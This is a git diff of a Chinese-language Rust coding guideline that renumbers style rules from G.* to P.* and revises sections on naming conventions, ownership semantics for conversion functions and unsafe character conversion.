--git a/src/safe-guides/code_style/fmt/G.FMT.13.md b/src/safe-guides/code_style/fmt/P.FMT.13.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.13.md rename to src/safe-guides/code_style/fmt/P.FMT.13.md index 94c01229..a4248845 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.13.md +++ b/src/safe-guides/code_style/fmt/P.FMT.13.md @@ -1,6 +1,4 @@ -## G.FMT.13 具名结构体字段初始化时字段名最好不要省略 - -**【级别】** 建议 +## P.FMT.13 具名结构体字段初始化时字段名最好不要省略 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.14.md b/src/safe-guides/code_style/fmt/P.FMT.14.md similarity index 87% rename from src/safe-guides/code_style/fmt/G.FMT.14.md rename to src/safe-guides/code_style/fmt/P.FMT.14.md index 8b95d252..0eb4544d 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.14.md +++ b/src/safe-guides/code_style/fmt/P.FMT.14.md @@ -1,6 +1,4 @@ -## G.FMT.14 extern 外部函数需要显式指定 ABI - -**【级别】** 要求 +## P.FMT.14 extern 外部函数需要显式指定 ABI **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.15.md b/src/safe-guides/code_style/fmt/P.FMT.15.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.15.md rename to src/safe-guides/code_style/fmt/P.FMT.15.md index 5a5077d6..cf5f6d6f 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.15.md +++ b/src/safe-guides/code_style/fmt/P.FMT.15.md @@ -1,6 +1,4 @@ -## G.FMT.15 解构元组的时候允许使用`..`来指代剩余元素 - -**【级别】** 建议 +## P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.16.md b/src/safe-guides/code_style/fmt/P.FMT.16.md similarity index 89% rename from src/safe-guides/code_style/fmt/G.FMT.16.md rename to src/safe-guides/code_style/fmt/P.FMT.16.md index 16c18042..4b8e0ef1 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.16.md +++ b/src/safe-guides/code_style/fmt/P.FMT.16.md @@ -1,6 +1,4 @@ -## G.FMT.16 不要将多个不相关的 派生(Derive) 宏合并为同一行 - -**【级别】** 建议 +## P.FMT.16 不要将多个不相关的 派生(Derive) 宏合并为同一行 **【描述】** diff --git a/src/safe-guides/code_style/naming.md b/src/safe-guides/code_style/naming.md index 5916c66b..80638411 100644 --- a/src/safe-guides/code_style/naming.md +++ b/src/safe-guides/code_style/naming.md @@ -6,12 +6,13 @@ - [P.NAM.01 类型名称应该使用统一的词序](./naming/P.NAM.01.md) - [P.NAM.02 cargo feature 名中不应该含有无意义的占位词](./naming/P.NAM.02.md) -- [G.NAM.01 标识符命名应该符合阅读习惯](./naming/G.NAM.01.md) -- [G.NAM.02 使用统一的命名风格](./naming/G.NAM.02.md) -- [G.NAM.03 作用域越大，命名越精确；反之应简短](./naming/G.NAM.03.md) -- [G.NAM.04 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.04.md) -- [G.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/G.NAM.05.md) -- [G.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/G.NAM.06.md) -- [G.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/G.NAM.07.md) -- [G.NAM.08 避免在变量的命名中添加类型标识](./naming/G.NAM.08.md) -- [G.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分](./naming/G.NAM.09.md) \ No newline at end of file +- [P.NAM.03 标识符命名应该符合阅读习惯](./naming/P.NAM.03.md) +- [P.NAM.04 作用域越大，命名越精确；反之应简短](./naming/P.NAM.04.md) +- [P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 等前缀](./naming/P.NAM.05.md) +- [P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器](./naming/P.NAM.06.md) +- [P.NAM.07 避免使用语言内置保留字、关键字、内置类型和trait等特殊名称](./naming/P.NAM.07.md) +- [P.NAM.08 避免在变量的命名中添加类型标识](./naming/P.NAM.08.md) +- [P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分](./naming/P.NAM.09.md) +- [G.NAM.01 使用统一的命名风格](./naming/G.NAM.01.md) +- [G.NAM.02 类型转换函数命名需要遵循所有权语义](./naming/G.NAM.02.md) + diff --git a/src/safe-guides/code_style/naming/G.NAM.01.md b/src/safe-guides/code_style/naming/G.NAM.01.md index 5f5e873d..24464e70 100644 --- a/src/safe-guides/code_style/naming/G.NAM.01.md +++ b/src/safe-guides/code_style/naming/G.NAM.01.md @@ -1,47 +1,52 @@ -## G.NAM.01 标识符命名应该符合阅读习惯 + +## G.NAM.01 使用统一的命名风格 **【级别】** 要求 **【描述】** -标识符的命名要清晰、明了，有明确含义，容易理解。符合英文阅读习惯的命名将明显提高代码可读性。 +Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风格，在 “值（实例）级别”的结构中使用 `snake_case`命名风格。 -一些好的实践包括但不限于： +下面是具体汇总。 -- 使用正确的英文单词并符合英文语法，不要使用拼音 -- 仅使用常见或领域内通用的单词缩写 -- 布尔型变量或函数避免使用否定形式，双重否定不利于理解 -- 不要使用 Unicode 标识符。 +| Item | 规范 | +| ---- | ---------- | +| 包（Crates） | [通常使用 snake_case](https://github.com/rust-lang/api-guidelines/issues/29) [^crate-name] | +| 模块（Modules） | `snake_case` | +| 类型（Types） | `UpperCamelCase` | +| 特质（Traits） | `UpperCamelCase` | +| 枚举体（Enum variants） | `UpperCamelCase` | +| 函数（Functions） | `snake_case` | +| 方法（Methods） | `snake_case` | +| 通用构造函数（General constructors） | `new` 或者 `with_more_details` | +| 转换构造函数（Conversion constructors） | `from_some_other_type` | +| 宏（Macros） | `snake_case!` | +| 本地变量（Local variables） | `snake_case` | +| 静态变量（Statics） | `SCREAMING_SNAKE_CASE` | +| 常量（Constants） | `SCREAMING_SNAKE_CASE` | +| 类型参数（Type parameters） | 简明的 `UpperCamelCase` ，通常使用单个大写字母： `T` | +| 生存期（Lifetimes） | 简短的 `lowercase`，通常使用单个小写字母 `'a`, `'de`, `'src`，尽量保持语义 | +| 特性（Features） | `snake_case` | -**【反例】** +说明 : -```rust -let ming: &str = "John"; -let xing: &str = "Smith"; -const ERROR_NO_1: u32 = 336; -const ERROR_NO_2: u32 = 594; +1. 在 `UpperCamelCase`情况下，由首字母缩写组成的缩略语和 复合词的缩写，算作一个词。比如，应该使用 `Uuid` 而非 `UUID`，使用 `Usize` 而不是 `USize`，或者是 `Stdin` 而不是 `StdIn`。 +2. 在`snake_case`中，首字母缩写和缩略词是小写的：is_xid_start。 +3. 在 `snake_case` 或者 `SCREAMING_SNAKE_CASE` 情况下，每个词不应该由单个字母组成——除非这个字母是最后一个词。比如，使用 `btree_map` 而不使用 `b_tree_map`，使用 `PI_2` 而不使用 `PI2` 。 -fn not_number(s:&str) -> bool {/* ... */} -``` -**【正例】** +关于包命名： -```rust -let first_name: &str = "John"; -let last_name: &str = "Smith"; -const ERROR_DIRECTORY_NOT_SUPPORTED: u32 = 336; -const ERROR_DRIVER_CANCEL_TIMEOUT: u32 = 594; +- 由于历史问题，包名有两种形式 `snake_case` 或 `kebab-case` ，但实际在代码中需要引入包名的时候，Rust 只能识别 `snake_case`，也会自动将 `kebab-case` 识别为 `kebab_case`。所以建议使用`snake_case`。 +- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。 因为每个 crate 都是 Rust 编写的！ 没必要一直提醒使用者这一点。但是有些情况下，比如是其他语言移植的同名 Rust 实现，则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 -fn is_number(s:&str) -> bool {/* ... */} //用来判断是否为整数 -``` +**【参考】** +Rust 命名规范在 [RFC 0430](https://github.com/rust-lang/rfcs/blob/master/text/0430-finalizing-naming-conventions.md) 中有也描述。 **【Lint 检测】** -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测错误的英文拼写，检测出后提示；检测拼音，检测出来提示。拼写错误可参考 [client9/misspell](https://github.com/client9/misspell) 。 \ No newline at end of file +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | +| ------ | ---- | --------- | ------ | +| [`Rustc: non_camel_case_types`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-camel-case-types) | no | yes | Style | +| [`Rustc: non_snake_case`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-snake-case) | no | yes | Style | diff --git a/src/safe-guides/code_style/naming/G.NAM.02.md b/src/safe-guides/code_style/naming/G.NAM.02.md index fa1f1cb9..4088500d 100644 --- a/src/safe-guides/code_style/naming/G.NAM.02.md +++ b/src/safe-guides/code_style/naming/G.NAM.02.md @@ -1,52 +1,76 @@ +## G.NAM.02 类型转换函数命名需要遵循所有权语义 -## G.NAM.02 使用统一的命名风格 - -**【级别】** 要求 +**【级别】** 建议 **【描述】** -Rust 倾向于在“类型级别”的结构中使用 `UpperCamelCase` 命名风格，在 “值（实例）级别”的结构中使用 `snake_case`命名风格。 +应该使用带有以下前缀名称方法来进行特定类型转换： + +| 名称前缀 | 内存代价 | 所有权 | +| ------ | ---- | --------- | +| `as_` | 无代价 | borrowed -\> borrowed | +| `to_` | 代价昂贵 | borrowed -\> borrowed
borrowed -\> owned (非 Copy 类型)
owned -\> owned (Copy 类型) | +| `into_` | 看情况 | owned -\> owned (非 Copy 类型) | + +以 `as_` 和 `into_` 作为前缀的类型转换通常是 *降低抽象层次* ，要么是查看背后的数据 ( `as` ) ，要么是分解 (deconstructe) 背后的数据 ( `into` ) 。 +相对来说，以 `to_` 作为前缀的类型转换处于同一个抽象层次，但是做了更多的工作。 + +当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个与之有关的值时，应该使用 `into_inner()` 方法名来取出被封装的值。 + +这适用于以下封装器： -下面是具体汇总。 +读取缓存 ([`BufReader`](https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner)) 、编码或解码 ([`GzDecoder`](https://docs.rs/flate2/1.0.22/flate2/read/struct.GzDecoder.html#method.into_inner)) 、取出原子 ([`AtomicBool`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicBool.html#method.into_inner) 、 +或者任何相似的语义 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 -| Item | 规范 | -| ---- | ---------- | -| 包（Crates） | [通常使用 snake_case](https://github.com/rust-lang/api-guidelines/issues/29) [^crate-name] | -| 模块（Modules） | `snake_case` | -| 类型（Types） | `UpperCamelCase` | -| 特质（Traits） | `UpperCamelCase` | -| 枚举体（Enum variants） | `UpperCamelCase` | -| 函数（Functions） | `snake_case` | -| 方法（Methods） | `snake_case` | -| 通用构造函数（General constructors） | `new` 或者 `with_more_details` | -| 转换构造函数（Conversion constructors） | `from_some_other_type` | -| 宏（Macros） | `snake_case!` | -| 本地变量（Local variables） | `snake_case` | -| 静态变量（Statics） | `SCREAMING_SNAKE_CASE` | -| 常量（Constants） | `SCREAMING_SNAKE_CASE` | -| 类型参数（Type parameters） | 简明的 `UpperCamelCase` ，通常使用单个大写字母： `T` | -| 生存期（Lifetimes） | 简短的 `lowercase`，通常使用单个小写字母 `'a`, `'de`, `'src`，尽量保持语义 | -| 特性（Features） | `snake_case` | -说明 : +**【正例】** -1. 在 `UpperCamelCase`情况下，由首字母缩写组成的缩略语和 复合词的缩写，算作一个词。比如，应该使用 `Uuid` 而非 `UUID`，使用 `Usize` 而不是 `USize`，或者是 `Stdin` 而不是 `StdIn`。 -2. 在`snake_case`中，首字母缩写和缩略词是小写的：is_xid_start。 -3. 在 `snake_case` 或者 `SCREAMING_SNAKE_CASE` 情况下，每个词不应该由单个字母组成——除非这个字母是最后一个词。比如，使用 `btree_map` 而不使用 `b_tree_map`，使用 `PI_2` 而不使用 `PI2` 。 +标准库 API 命名有如下示例： +- `as_` + - [`str::as_bytes()`](https://doc.rust-lang.org/std/primitive.str.html#method.as_bytes) + 用于查看 UTF-8 字节的 `str` 切片， + 这是无内存代价的（不会产生内存分配）。 + 传入值是 `&str` 类型，输出值是 `&[u8]` 类型。 +- `to_` + - [`Path::to_str`] (https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.to_str) + 对操作系统路径进行 UTF-8 字节检查，开销昂贵。 + 虽然输入和输出都是借用，但是这个方法对运行时产生不容忽视的代价， + 所以不应使用 `as_str` 名称。 + - [`str::to_lowercase()`] (https://doc.rust-lang.org/std/primitive.str.html#method.to_lowercase) + 生成正确的 Unicode 小写字符， + 涉及遍历字符串的字符，可能需要分配内存。 + 输入值是 `&str` 类型，输出值是 `String` 类型。 + - [`f64::to_radians()`] (https://doc.rust-lang.org/std/primitive.f64.html#method.to_radians) + 把浮点数的角度制转换成弧度制。 + 输入和输出都是 `f64` 。没必要传入 `&f64` ，因为复制 `f64` 花销很小。 + 但是使用 `into_radians` 名称就会具有误导性，因为输入数据没有被消耗。 +- `into_` + - [`String::into_bytes()`](https://doc.rust-lang.org/std/string/struct.String.html#method.into_bytes) + 从 `String` 提取出背后的 `Vec` 数据，这是无代价的。 + 它转移了 `String` 的所有权，然后返回具有所有权的 `Vec` 。 + - [`BufReader::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner) + 转移了 buffered reader 的所有权，取出其背后的 reader ，这是无代价的。 + 存于缓冲区的数据被丢弃了。 + - [`BufWriter::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufWriter.html#method.into_inner) + 转移了 buffered writer 的所有权，取出其背后的 writer ，这可能以很大的代价刷新所有缓存数据。 -关于包命名： +如果类型转换方法返回的类型具有 `mut` 标识符，那么这个方法的名称应如同返回类型组成部分的顺序那样，带有 `mut` 名。 +比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `mut slice` 类型，这个方法的功能正如其名称所述，所以这个名称优于 `as_slice_mut` 。 -- 由于历史问题，包名有两种形式 `snake_case` 或 `kebab-case` ，但实际在代码中需要引入包名的时候，Rust 只能识别 `snake_case`，也会自动将 `kebab-case` 识别为 `kebab_case`。所以建议使用`snake_case`。 -- Crate 的名称通常不应该使用 `-rs` 或者 `-rust` 作为后缀或者前缀。 因为每个 crate 都是 Rust 编写的！ 没必要一直提醒使用者这一点。但是有些情况下，比如是其他语言移植的同名 Rust 实现，则可以使用 `-rs` 后缀来表明这是 Rust 实现的版本。 +```rust +// Return type is a mut slice. +fn as_mut_slice(&mut self) -> &mut [T]; +``` -**【参考】** +- [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref) +- [`RefCell::as_ptr`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr) +- [`slice::to_vec`](https://doc.rust-lang.org/std/primitive.slice.html#method.to_vec) +- [`Option::into_iter`](https://doc.rust-lang.org/std/option/enum.Option.html#method.into_iter) -Rust 命名规范在 [RFC 0430](https://github.com/rust-lang/rfcs/blob/master/text/0430-finalizing-naming-conventions.md) 中有也描述。 **【Lint 检测】** -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | -| ------ | ---- | --------- | ------ | -| [`Rustc: non_camel_case_types`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-camel-case-types) | no | yes | Style | -| [`Rustc: non_snake_case`](https://doc.rust-lang.org/rustc/lints/listing/warn-by-default.html#non-snake-case) | no | yes | Style | +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | Lint Level | +| ------ | ---- | --------- | ------ | ------ | +| [wrong_self_convention](https://rust-lang.github.io/rust-clippy/master/index.html#wrong_self_convention) | yes| no | Style | warn | \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.04.md b/src/safe-guides/code_style/naming/G.NAM.04.md deleted file mode 100644 index 70766423..00000000 --- a/src/safe-guides/code_style/naming/G.NAM.04.md +++ /dev/null @@ -1,76 +0,0 @@ -## G.NAM.04 类型转换函数命名需要遵循所有权语义 - -**【级别】** 建议 - -**【描述】** - -应该使用带有以下前缀名称方法来进行特定类型转换： - -| 名称前缀 | 内存代价 | 所有权 | -| ------ | ---- | --------- | -| `as_` | 无代价 | borrowed -\> borrowed | -| `to_` | 代价昂贵 | borrowed -\> borrowed
borrowed -\> owned (非 Copy 类型)
owned -\> owned (Copy 类型) | -| `into_` | 看情况 | owned -\> owned (非 Copy 类型) | - -以 `as_` 和 `into_` 作为前缀的类型转换通常是 *降低抽象层次* ，要么是查看背后的数据 ( `as` ) ，要么是分解 (deconstructe) 背后的数据 ( `into` ) 。 -相对来说，以 `to_` 作为前缀的类型转换处于同一个抽象层次，但是做了更多的工作。 - -当一个类型用更高级别的语义 (higher-level semantics) 封装 (wraps) 一个与之有关的值时，应该使用 `into_inner()` 方法名来取出被封装的值。 - -这适用于以下封装器： - -读取缓存 ([`BufReader`](https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner)) 、编码或解码 ([`GzDecoder`](https://docs.rs/flate2/1.0.22/flate2/read/struct.GzDecoder.html#method.into_inner)) 、取出原子 ([`AtomicBool`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicBool.html#method.into_inner) 、 -或者任何相似的语义 ([`BufWriter`](https://doc.rust-lang.org/stable/std/io/struct.BufWriter.html#method.into_inner))。 - - -**【正例】** - -标准库 API 命名有如下示例： - -- `as_` - - [`str::as_bytes()`](https://doc.rust-lang.org/std/primitive.str.html#method.as_bytes) - 用于查看 UTF-8 字节的 `str` 切片， - 这是无内存代价的（不会产生内存分配）。 - 传入值是 `&str` 类型，输出值是 `&[u8]` 类型。 -- `to_` - - [`Path::to_str`] (https://doc.rust-lang.org/stable/std/path/struct.Path.html#method.to_str) - 对操作系统路径进行 UTF-8 字节检查，开销昂贵。 - 虽然输入和输出都是借用，但是这个方法对运行时产生不容忽视的代价， - 所以不应使用 `as_str` 名称。 - - [`str::to_lowercase()`] (https://doc.rust-lang.org/std/primitive.str.html#method.to_lowercase) - 生成正确的 Unicode 小写字符， - 涉及遍历字符串的字符，可能需要分配内存。 - 输入值是 `&str` 类型，输出值是 `String` 类型。 - - [`f64::to_radians()`] (https://doc.rust-lang.org/std/primitive.f64.html#method.to_radians) - 把浮点数的角度制转换成弧度制。 - 输入和输出都是 `f64` 。没必要传入 `&f64` ，因为复制 `f64` 花销很小。 - 但是使用 `into_radians` 名称就会具有误导性，因为输入数据没有被消耗。 -- `into_` - - [`String::into_bytes()`](https://doc.rust-lang.org/std/string/struct.String.html#method.into_bytes) - 从 `String` 提取出背后的 `Vec` 数据，这是无代价的。 - 它转移了 `String` 的所有权，然后返回具有所有权的 `Vec` 。 - - [`BufReader::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufReader.html#method.into_inner) - 转移了 buffered reader 的所有权，取出其背后的 reader ，这是无代价的。 - 存于缓冲区的数据被丢弃了。 - - [`BufWriter::into_inner()`] (https://doc.rust-lang.org/std/io/struct.BufWriter.html#method.into_inner) - 转移了 buffered writer 的所有权，取出其背后的 writer ，这可能以很大的代价刷新所有缓存数据。 - -如果类型转换方法返回的类型具有 `mut` 标识符，那么这个方法的名称应如同返回类型组成部分的顺序那样，带有 `mut` 名。 -比如 [`Vec::as_mut_slice`](https://doc.rust-lang.org/std/vec/struct.Vec.html#method.as_mut_slice) 返回 `mut slice` 类型，这个方法的功能正如其名称所述，所以这个名称优于 `as_slice_mut` 。 - -```rust -// Return type is a mut slice. -fn as_mut_slice(&mut self) -> &mut [T]; -``` - -- [`Result::as_ref`](https://doc.rust-lang.org/std/result/enum.Result.html#method.as_ref) -- [`RefCell::as_ptr`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr) -- [`slice::to_vec`](https://doc.rust-lang.org/std/primitive.slice.html#method.to_vec) -- [`Option::into_iter`](https://doc.rust-lang.org/std/option/enum.Option.html#method.into_iter) - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | Lint Level | -| ------ | ---- | --------- | ------ | ------ | -| [wrong_self_convention](https://rust-lang.github.io/rust-clippy/master/index.html#wrong_self_convention) | yes| no | Style | warn | \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.09.md b/src/safe-guides/code_style/naming/G.NAM.09.md deleted file mode 100644 index a2c3ded1..00000000 --- a/src/safe-guides/code_style/naming/G.NAM.09.md +++ /dev/null @@ -1,33 +0,0 @@ -## G.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分 - -**【级别】** 建议 - -**【描述】** - -为了提升代码可读性和可维护性，有必要将常量的命名和全局静态变量有所区分。所以在定义全局静态变量时，需要以前缀`G_`命名。 - - - -**【反例】** - -```rust -static EVENT: [i32;5]=[1,2,3,4,5]; -const MAGIC_NUM: i32 = 65 ; -``` - -**【正例】** - -```rust -static G_EVENT: [i32;5]=[1,2,3,4,5]; -const MAGIC_NUM: i32 = 65 ; -``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------ | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -【定制化参考】 -检测`static` 全局静态变量的命名是否包含`G_`前缀。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.03.md b/src/safe-guides/code_style/naming/P.NAM.03.md new file mode 100644 index 00000000..dacf541d --- /dev/null +++ b/src/safe-guides/code_style/naming/P.NAM.03.md @@ -0,0 +1,34 @@ +## P.NAM.03 标识符命名应该符合阅读习惯 + +**【描述】** + +标识符的命名要清晰、明了，有明确含义，容易理解。符合英文阅读习惯的命名将明显提高代码可读性。 + +一些好的实践包括但不限于： + +- 使用正确的英文单词并符合英文语法，不要使用拼音 +- 仅使用常见或领域内通用的单词缩写 +- 布尔型变量或函数避免使用否定形式，双重否定不利于理解 +- 不要使用 Unicode 标识符。 + +**【反例】** + +```rust +let ming: &str = "John"; +let xing: &str = "Smith"; +const ERROR_NO_1: u32 = 336; +const ERROR_NO_2: u32 = 594; + +fn not_number(s:&str) -> bool {/* ... */} +``` + +**【正例】** + +```rust +let first_name: &str = "John"; +let last_name: &str = "Smith"; +const ERROR_DIRECTORY_NOT_SUPPORTED: u32 = 336; +const ERROR_DRIVER_CANCEL_TIMEOUT: u32 = 594; + +fn is_number(s:&str) -> bool {/* ... */} //用来判断是否为整数 +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.03.md b/src/safe-guides/code_style/naming/P.NAM.04.md similarity index 69% rename from src/safe-guides/code_style/naming/G.NAM.03.md rename to src/safe-guides/code_style/naming/P.NAM.04.md index bee36b16..55795068 100644 --- a/src/safe-guides/code_style/naming/G.NAM.03.md +++ b/src/safe-guides/code_style/naming/P.NAM.04.md @@ -1,6 +1,4 @@ -## G.NAM.03 作用域越大，命名越精确；反之应简短 - -**【级别】** 建议 +## P.NAM.04 作用域越大，命名越精确；反之应简短 **【描述】** @@ -62,10 +60,3 @@ pub struct HeaderMap { } ``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [module_name_repetitions](https://rust-lang.github.io/rust-clippy/master/#module_name_repetitions) | yes | no | pedantic | allow | diff --git a/src/safe-guides/code_style/naming/G.NAM.05.md b/src/safe-guides/code_style/naming/P.NAM.05.md similarity index 87% rename from src/safe-guides/code_style/naming/G.NAM.05.md rename to src/safe-guides/code_style/naming/P.NAM.05.md index 5722f39f..26ed77bc 100644 --- a/src/safe-guides/code_style/naming/G.NAM.05.md +++ b/src/safe-guides/code_style/naming/P.NAM.05.md @@ -1,6 +1,4 @@ -## G.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 前缀 - -**【级别】** 建议 +## P.NAM.05 用于访问或获取数据的 `getter` 类方法通常不要使用 `get_` 前缀 **【描述】** @@ -100,14 +98,3 @@ getter 和类型转换 ([G.NAM.02](./G.NAM.02.md)) 之间的区别很小，大 - [`std::collections::hash_map::OccupiedEntry::get_mut`](https://doc.rust-lang.org/std/collections/hash_map/struct.OccupiedEntry.html#method.get_mut) - [`<[T]>::get_unchecked`](https://doc.rust-lang.org/std/primitive.slice.html#method.get_unchecked) - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测 Struct 实现的方法名是否包含 `get_/set_` 前缀，如果包含，则给予警告。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/G.NAM.06.md b/src/safe-guides/code_style/naming/P.NAM.06.md similarity index 95% rename from src/safe-guides/code_style/naming/G.NAM.06.md rename to src/safe-guides/code_style/naming/P.NAM.06.md index 36630ceb..1e5fca57 100644 --- a/src/safe-guides/code_style/naming/G.NAM.06.md +++ b/src/safe-guides/code_style/naming/P.NAM.06.md @@ -1,6 +1,4 @@ -## G.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器 - -**【级别】** 建议 +## P.NAM.06 遵循 `iter/ iter_mut/ into_iter` 规范来生成迭代器 **【描述】** diff --git a/src/safe-guides/code_style/naming/G.NAM.07.md b/src/safe-guides/code_style/naming/P.NAM.07.md similarity index 91% rename from src/safe-guides/code_style/naming/G.NAM.07.md rename to src/safe-guides/code_style/naming/P.NAM.07.md index a0280aa9..080fd17c 100644 --- a/src/safe-guides/code_style/naming/G.NAM.07.md +++ b/src/safe-guides/code_style/naming/P.NAM.07.md @@ -1,4 +1,4 @@ -## G.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 +## P.NAM.07 避免使用语言内置保留字、关键字、内置类型和`trait`等特殊名称 **【级别】** 建议 diff --git a/src/safe-guides/code_style/naming/G.NAM.08.md b/src/safe-guides/code_style/naming/P.NAM.08.md similarity index 60% rename from src/safe-guides/code_style/naming/G.NAM.08.md rename to src/safe-guides/code_style/naming/P.NAM.08.md index 17e7b60e..d80decef 100644 --- a/src/safe-guides/code_style/naming/G.NAM.08.md +++ b/src/safe-guides/code_style/naming/P.NAM.08.md @@ -1,6 +1,4 @@ -## G.NAM.08 避免在变量的命名中添加类型标识 - -**【级别】** 建议 +## P.NAM.08 避免在变量的命名中添加类型标识 **【描述】** @@ -23,13 +21,3 @@ let account: Vec = read_some_input(); // account 的类型很清楚 let account = String::from_utf8(account)?; // account 的类型很清楚 let account: Account = account.parse()?; // account 的类型很清楚 ``` - - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ---------- | ------------- | ------------ | ---------- | ----- | -| _ | no | no | _ | yes | - -【定制化参考】 -这条规则如果需要定制Lint，则可以获取变量命名的结尾部分和变量类型，进行匹配，判断是否重复。 \ No newline at end of file diff --git a/src/safe-guides/code_style/naming/P.NAM.09.md b/src/safe-guides/code_style/naming/P.NAM.09.md new file mode 100644 index 00000000..7943f2fb --- /dev/null +++ b/src/safe-guides/code_style/naming/P.NAM.09.md @@ -0,0 +1,21 @@ +## P.NAM.09 定义全局静态变量时需加前缀`G_`和常量有所区分 + +**【描述】** + +为了提升代码可读性和可维护性，有必要将常量的命名和全局静态变量有所区分。所以在定义全局静态变量时，需要以前缀`G_`命名。 + + + +**【反例】** + +```rust +static EVENT: [i32;5]=[1,2,3,4,5]; +const MAGIC_NUM: i32 = 65 ; +``` + +**【正例】** + +```rust +static G_EVENT: [i32;5]=[1,2,3,4,5]; +const MAGIC_NUM: i32 = 65 ; +``` diff --git a/src/safe-guides/coding_practice/data-type.md b/src/safe-guides/coding_practice/data-type.md index f09e5cf9..23c084c7 100644 --- a/src/safe-guides/coding_practice/data-type.md +++ b/src/safe-guides/coding_practice/data-type.md @@ -28,8 +28,7 @@ - [G.TYP.FLT.02 从任何数字类型转换为浮点类型时注意避免损失精度](./data-type/float/G.TYP.FLT.02.md) - [G.TYP.FLT.03 对精度高要求的场景下，不应直接使用浮点数进行运算和比较](./data-type/float/G.TYP.FLT.03.md) - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./data-type/float/G.TYP.FLT.04.md) - - [G.TYP.FLT.05 使用字面量定义浮点数时，尽量使用`f64`类型而非`f32`类型](./data-type/float/G.TYP.FLT.05.md) - - [G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 transmute](./data-type/float/G.TYP.FLT.06.md) + - [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./data-type/float/G.TYP.FLT.05.md) - [切片](./data-type/slice.md) - [P.TYP.SLC.01 宜使用切片迭代器来代替手工索引](./data-type/slice/P.TYP.SLC.01.md) - [P.TYP.SLC.02 宜使用切片模式来提升代码的可读性](./data-type/slice/P.TYP.SLC.02.md) diff --git a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md index 4dfe1eca..7ddd1f19 100644 --- a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md +++ b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md @@ -20,11 +20,11 @@ unsafe { ```rust let x = 37_u32; -unsafe { - let x = std::char::from_u32(x).unwrap(); // 请按情况处理 None - // let x = std::char::from_u32_unchecked(x); // 如果确定该整数对应合法的unicode，可以使用 uncheck 方法加速 - assert_eq!('%', x); -} + +let x = std::char::from_u32(x).unwrap(); // 请按情况处理 None +// let x = std::char::from_u32_unchecked(x); // 